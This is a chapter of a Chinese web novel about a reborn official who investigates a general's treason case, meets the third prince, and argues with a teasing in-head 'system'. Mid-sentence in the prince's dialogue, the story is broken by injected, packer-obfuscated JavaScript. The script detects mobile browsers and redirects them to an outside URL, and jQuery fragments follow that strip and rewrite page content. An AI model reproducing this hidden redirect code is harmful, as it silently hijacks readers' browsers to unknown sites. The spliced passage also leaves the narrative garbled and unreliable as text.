肖敬忠的马车,从外面看是青幔素帷,进去了才发现另有乾坤。
车壁嵌着云锦夹棉,榻上虽然蒙着一层灰布,奈何喻宁眼尖识货,一眼看出左上角漏出来的,可是金线濑皮的料子。
喻宁是个知趣的人,肖敬忠毕竟在司礼监任职,又是正四品的高官,手里有些奢侈物件很正常。
为此,喻宁当作什么也没看见,只提了提衣摆坐在肖敬忠对面。
客套的话都说完了,此刻能引起话题的,也就是案子了。
喻宁背靠车壁,斜阳勾着他含笑的眉眼,兴致勃勃地开口:
“肖公公,我刚刚就有些问题想请你解惑,现在共乘一辆马车,倒是正好了。”
从看到圣旨开始,喻宁就很在意一件事情。
上一世,段将军也打了败仗,但是当时负责主审的,是内阁李义城和东厂的人,并没有牵扯到大理寺和三皇子江邈。
喻宁不清楚,上一世段将军被押送回京的时候有没有遇刺,但大概是有的,因为回京三日后,段将军就病死狱中。
他死后的第二日,罪行得到判定,是通国判敌之罪。
有不少官员和百姓对此抱有怀疑态度,但是卷宗上言之凿凿,证词上更是包括段将军亲信在内的百余人画押,所有人都不得不信。
包括喻宁,也在惋惜中认定了这件事情。
他如今重活一世,带着已知的结果去重审这个案子,心情难免微妙。
肖敬忠对于喻宁,显然是很好说话的,虽然他鹰喙似的鼻子,让他一把年纪了看起来依旧和慈祥不沾边,好在喻宁的请求,他基本都会答应。
喻宁猜测,这主要是看在侯府的面子上。
肖敬忠,“喻小世子直接问便是。”
喻宁作出好奇状,“往日,跟军事有关的案子,都是交由东厂和锦衣卫审理,为何这次突然想到了大理寺?”
喻宁问这个话,绝不是阴阳之前大理寺不受重视,毕竟也是因此,他的工作算得上闲散。
胸无大志,躺在金丝床上的喻宁,绝对不会觉得这是什么不好的事情。
肖敬忠沧桑的脸上难掩疑惑之色,“这,我也不太清楚,毕竟是君心,我等未必猜得清楚。”
喻宁倒不意外,之前系统说是变量的存在导致了一些变化,连系统都不知道这个变量是什么,肖敬忠不知道也正常。
“系统,我有个想法。”
无人应答。
“系统?”
“……”
喻宁有些无语地抿唇,“长明?”
系统:“什么想法?”
喻宁,“真矫情,不喊字还不应了。”
系统,“这世界上的系统有很多,你喊我系统,跟我直接称呼你为“人类”,没什么区别。”
喻宁,“我不介意。”
系统:“我介意。”
喻宁:“……”
“如果说变量的存在可以让事情有改变,是不是有一种可能,这一世江邈不一定会称帝?”
这个念头一出来,喻宁瞬间有种狠狠治治江邈,报仇血恨的强烈想法。
系统,“我很支持你的想法,俗话说打是亲骂是爱,而且江邈登不登基你都可以这么做。”
“包不死的。”
喻宁,“……”
喻宁呵呵,“你前面那句话就是个谬论。”
“就算这句话不一定正确,但是彼此接触是产生感情链接的前提。”
喻宁投降,“如果有产生感情链接的可能性,那我肯定会避而远之,宁愿不报仇。”
系统沉默:“……”
脑子里一安静,喻宁就有更多精力面对肖敬忠,想要气氛不冷下来,喻宁有很多种方法。
“肖公公,我早就听闻,东厂在审理案子上面很有一套,我虽然是大理寺少卿,可是这方面经验甚少,肖公公能不能传授些?”
肖公公连忙诶呦一声,脸上挂起谦逊的笑,“喻小世子还是太自谦了,你自小被誉为神童,什么难题一点就通,在办案上面肯定也是这样。”
“但既然你问了,我便捡一些经验来说……”
……
等马车摇到大理寺门口,已经是半个时辰后了。
喻宁挂念段大将军的伤,打算先去监病房看看,这个时候大夫应该已经看过了。
肖公公听了他的想法,跟上脚步,“我也是挂念段将军的伤,一块去吧。”
两人刚走了几步,迎面碰见依着拱门而立的江邈。
他刚领的刑部观政,无品级无实权,也没有领官服,穿着一身素色青袍,几乎与背后青砖融为一体。
不知道是不是没怎么好好吃饭,下颌消瘦没有一丝多余的肉,笑着望过来的时候,像是春日细雨般扑过来,漂亮清俊。
人人都说伸手不打笑脸人,喻宁可算是见识到了,他甚至很难忽视笑着走近的江邈,对着他微微点头,算是打了个招呼。
与他相比,肖敬忠就冷漠多了,他好像眼里根本没有江邈,连掩饰都多余。
喻宁和肖敬忠并行走在一块,竟莫名成了一个奇怪的组合。
一个人有意远离,一个人刻意忽视,他们一起越过拱门前打招呼的江邈,将那人抛在身后。
喻宁装作不经意往后一瞥,只能瞧见一团模糊的青色影子。
肖敬忠还在说着“审理经验”,“喻小世子,这供词上面,也有很多门道。”
喻宁捧哏,“肖公公怎么跟我还卖关子?”
肖敬忠笑道:“说着呢,其中一条就是,让犯人手写供词的时候,可以要求他字迹工整内容一致,反复几次写多了,说不定会出现细节上的差异,又或者是那涂抹擦改处,往往大有文章……哎呦!”
肖敬忠突然往前栽去,他瘦骨嶙峋的身子在空中顽强扑腾,幸好等到喻宁反应过来抓住他腰带,用力将人往后一拉,这才堪堪稳住。
转头一看,发现官袍的衣摆位置,印着一道鞋印。
而鞋印的主人面带愧色,匆匆走到喻宁和肖敬忠中间,“抱歉,肖公公,方才琢磨案子,不慎踩了你衣袍。”
肖敬忠鼻子差点气歪,扬着手里拂尘似乎要敲人,转眼对上喻宁关切的眼神,忽得停住。
不能在贵人面前失了仪态,肖敬忠生生咽下这口气,“三皇子日后可得好好看路才是。”
江邈十分好说话,“自然,下次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962172|177692||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定然不会再踩到公公衣袍了。”
跟随的小太监跟上来,用丝帕抹去衣袍上的痕迹。
等处理好了,喻宁三人继续向着监病房走去,走了两步,喻宁才发现不对劲。
不对,江邈怎么凑到他和肖公公中间来了?
而且道路就这么宽,他断然没有不知不觉就能越过江邈,再走到肖公公身侧去的道理!
既然如此,只能硬着走了。
不过几百米距离,顶多一刻钟就能到!
奈何只走了两步,江邈扭头微微颔首望过来,“上一次见到喻小世子,好像是很久之前了。”
喻宁礼貌回应,“确实是很久不见了。”
江邈,“喻小世子当真还记得,上次见到我是什么时候吗?”
喻宁,“……”
他还真不知道。
因为轻微脸盲,上一世喻宁真正开始对江邈有印象,是在国子监祭酒刘大人的葬礼上。
现在显然还没到那个时间点,喻宁甚至有点怀疑,这一世他已经跟江邈见过面了吗?
系统:“……”
江邈不甚在意地勾了勾唇,“其实我也记不得。”
喻宁确信:果然就是没见过吧!
系统声音低低,“见过。”
江邈轻飘飘换了个话题,“喻小世子今早开始,脸色就不大好看,昨夜没睡好吗?”
喻宁,“还好,只是睡得晚了些。”
他是绝不会和江邈分享做噩梦了这种事情的。
要把话题扼杀在摇篮里。
江邈双眼含笑,“是吗,我还以为是接了案子,彻夜难眠。”
喻宁一眼就看穿了,江邈貌似关怀的语言,实则挖苦他年轻不抗事的本意。
哪怕是重生一世,这种两见相厌的劲依旧横隔两人之间,真是见鬼了。
喻宁反问,“三皇子脸色也不大好,难道是因为案子吗?”
江邈的回答令人意外,“不是,我心里记挂着事情,睡得不好。”
喻宁用一句“原是这样”结束了话题。
安静了很久的系统突然发问:“你为什么会觉得是在挖苦你?”
喻宁反问:“难道是情商低?”
以两人的关系,远远没到当着这么多人的面,聊这些话题的时候。
系统:“……”
系统没有反驳,喻宁竟然微微有点接受这个猜测了。
毕竟江邈只是后宫不受宠的皇子,没有接受什么良好教育,跟未经开化的野人也没什么区别。
系统:“已经上升到人身攻击了吗?”
喻宁:“不是挖苦,不是情商低,还能是什么?”
系统,“有没有可能在关心你?”
喻宁,“?你在说什么屁话?”
系统不为所动,陷入自己的推理不知天地为何物,“他关心你,四舍五入就是他倾慕你。”
“啊啊啊啊啊,你不要说了!”
系统,“听见了吗,我说他倾慕你,你只要微微攻略一下,他就能爱上你。”
喻宁大脑如同被灌了水泥,短暂失去思考能力。
他干巴巴地说了两个字母:“TD。”